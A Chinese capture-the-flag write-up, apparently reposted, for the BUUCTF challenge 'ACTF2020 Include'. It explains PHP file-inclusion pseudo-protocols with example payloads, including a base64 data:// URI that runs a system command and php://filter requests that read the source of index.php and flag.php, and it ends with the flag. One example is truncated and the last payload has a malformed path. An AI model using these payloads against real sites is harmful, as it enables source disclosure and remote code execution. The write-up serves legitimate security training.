[ACTF2020 新生赛]Include1
题目:[ACTF2020 新生赛]Include1
题目来源:buuctf
过程分析:
1、首先看到一个tips,我们打开看看
然后从题目我们知道这个是一个文件包含题,对文件进行php伪协议检测
伪协议
-
php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
-
条件:
-
php <5.0 ,allow_url_include=Off 情况下也可以用
-
php > 5.0,只有在allow_url_fopen=On 时才能使用
-
例:
-
http://localhost/include/file.php?file=php://input //URL
-
")?> //POST,创建一个文件a.php;并写入phpinfo
-
data://:将原本的include的文件流重定向到了用户可控制的输入流中
-
条件:
-
allow_url_include=On
-
php > 5.2
-
例:
-
http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg== //base64加密<?php system(whoami);?>;直接执行命令
-
http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行
-
php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过
-
例:
-
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword //可以跟绝对路径也可以跟相对路径
-
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt //远程路径
-
防御:
-
尽量使用安全版本的php
-
做好php的安全配置
-
对相应目录做相应权限设置
使用input伪协议会被检车会被过滤,我们换一种filter读取源代码
?file=php://filter/read=convert.base64-encode/resource=index.php
用工具将伪代码解码就得到文件源码了
-
<meta charset="utf8">
-
-
error_reporting(0);
-
$file = $_GET["file"];
-
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
-
exit('hacker!');
-
}
-
if($file){
-
include($file);
-
}else{
-
echo '<a href="https://blog.csdn.net/weixin_64160292/article/details/?file=flag.php">tips</a>';
-
}
-
input伪协议是被过滤了,我们再用filter伪协议去读取flag.php文件
?file=php://filter?read=convert.base64-encode/resource=flag.php
再用base64工具解码就得到flag了
flag{eba8550a-7871-47ae-b101-232fdb610777}
这篇好文章是转载于:学新通技术网
- 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
- 本站站名: 学新通技术网
- 本文地址: /boutique/detail/tanhgaejbg
系列文章
更多
同类精品
更多
-
photoshop保存的图片太大微信发不了怎么办
PHP中文网 06-15 -
《学习通》视频自动暂停处理方法
HelloWorld317 07-05 -
word里面弄一个表格后上面的标题会跑到下面怎么办
PHP中文网 06-20 -
Android 11 保存文件到外部存储,并分享文件
Luke 10-12 -
photoshop扩展功能面板显示灰色怎么办
PHP中文网 06-14 -
微信公众号没有声音提示怎么办
PHP中文网 03-31 -
excel下划线不显示怎么办
PHP中文网 06-23 -
excel打印预览压线压字怎么办
PHP中文网 06-22 -
TikTok加速器哪个好免费的TK加速器推荐
TK小达人 10-01 -
怎样阻止微信小程序自动打开
PHP中文网 06-13